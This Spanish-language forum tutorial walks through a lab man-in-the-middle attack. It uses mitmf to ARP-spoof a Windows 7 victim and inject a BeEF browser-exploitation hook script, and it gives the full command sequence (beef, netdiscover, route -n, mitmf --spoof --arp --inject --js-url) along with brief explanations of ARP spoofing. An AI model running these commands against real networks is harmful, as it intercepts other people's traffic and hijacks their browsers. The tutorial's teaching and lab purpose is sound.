Man In The Middle + BeEF
(http://moophz.com/sites/default/files/imagecache/inner-page/mim.png)
Hola a todos, soy MagoAstral y les mostraré otra técnica más de explotación, en esta ocasión se realizará un ataque de mitm para inyectar un script (js) externo en el navegador de la víctima. Aunque parezca un ataque muy complejo verán que hasta el lector más inexperto logrará comprender los conceptos básicos de esta metodología.
Para los que se pregunten que es un man in the middle attack (mitm), consiste en mediante una forma u otra adquirir el poder de leer y/o modificar el tráfico o mensajes. Puede que ahora tengan inquietud sobre el segundo término del título beef, simplemente es un framework para la explotación de navegadores.
A continuación se describirá el escenario:
- Kali Linux - Atacante
- Windows 7 - Víctima
El primer paso será iniciar BeEF, para eso nos situaremos en la ruta y lo abriremos:
cd /usr/share/beef-xss
./beef
La salida de la termianal:
(http://i.imgur.com/f9jkeGb.png)
A continuación procederemos a instalar el framework mitmf que nos simplificará todo el proceso tedioso. Para instalarlo simplemente tipearemos:
apt-get install mitmf
La salida de nuestra terminal debería ser algo así:
(http://i.imgur.com/guZOEul.png)
Una vez que ya hemos instalado nuestro mitmf, procederemos a lanzar el ataque, pero para eso necesitamos identificar nuestro gateway o puerta de enlace predeterminada y la víctima obviamente al estar en nuestro laboratorio sería tan sencillo como ejecutar un "ipconfig" en la máquina víctima y el proceso de identificación se daría por zanjado, pero esto en el mundo real no es así. Para identificar a nuestra víctima nos ayudaremos de la herramienta netdiscover que nos proporcionará la información necesaria para deducir cual es la máquina. Una vez tengamos su dirección IP podríamos verificar que el sistema que utiliza es windows mediante un nmap o con el truco de la abuela, por regla general en local si se realiza un ping a una máquina windows el ttl (tiempo de vida) de un paquete es 128 por contrario si es un gnu/linux será 64.
Ejecutaremos:
netdiscover
route -n
La salida de la terminal:
(http://i.imgur.com/0yHrZ57.png)
Ahora que tenemos todos los elementos necesarios podemos comenzar nuestro ataque mediante la siguiente sintaxis:
mitmf --spoof --arp -i interface --gateway gateway --target target --inject --js-url nuestrojs
La salida de mi terminal:
(http://i.imgur.com/YY7XyvU.png)
Recordad que el parámetro --js-url es el hook de nuestro beef el cual se muestra en pantalla cuando arrancamos el beef.
¿Arp Spoofing? ¿Qué es?
Para empezar yo definiría ARP, que es básicamente un protocolo de capa de red cuya función es identficiar la MAC Address o dirección física de una dirección IP. ARP Spoofing sería enviar paquetes ARP modificados normalmente se asocia la MAC Address del atacante con la dirección IP de otro nodo.
Una vez el ataque es puesto en marcha desde la máquina afectada podríamos ver como se ha modificado la dirección Mac del gateway:
arp -a
Salida:
(http://i.imgur.com/miCKZBo.png)
Ahora cuando la víctima decida navegar utilizando su navegador favorito en su página web favorita no sabrá que se ha inyectado nuestro script. Si utilizamos un depurador web podemos ver como se ha inyectado correctamente:
(http://i.imgur.com/YcgQ8qV.png)
Y ya para finalizar desde nuestro panel web de BeEF tenemos la sesión activa de nuestra víctima:
(http://i.imgur.com/JshNgC6.png)
Y con esto doy por concluido el post, espero que les haya servido y comenten sus inquietudes.
Un saludo,
MagoAstral
Prefiero hacerlo con ettercap antes que con mitmf, pero muy buen aporte.
¿El ataque man in the middle solo funciona con un Host o se podría hacer con varios a la vez?. Quisiera saber cual es la mejor opción cuando existen varios hosts en la misma Lan. Gracias de antemano.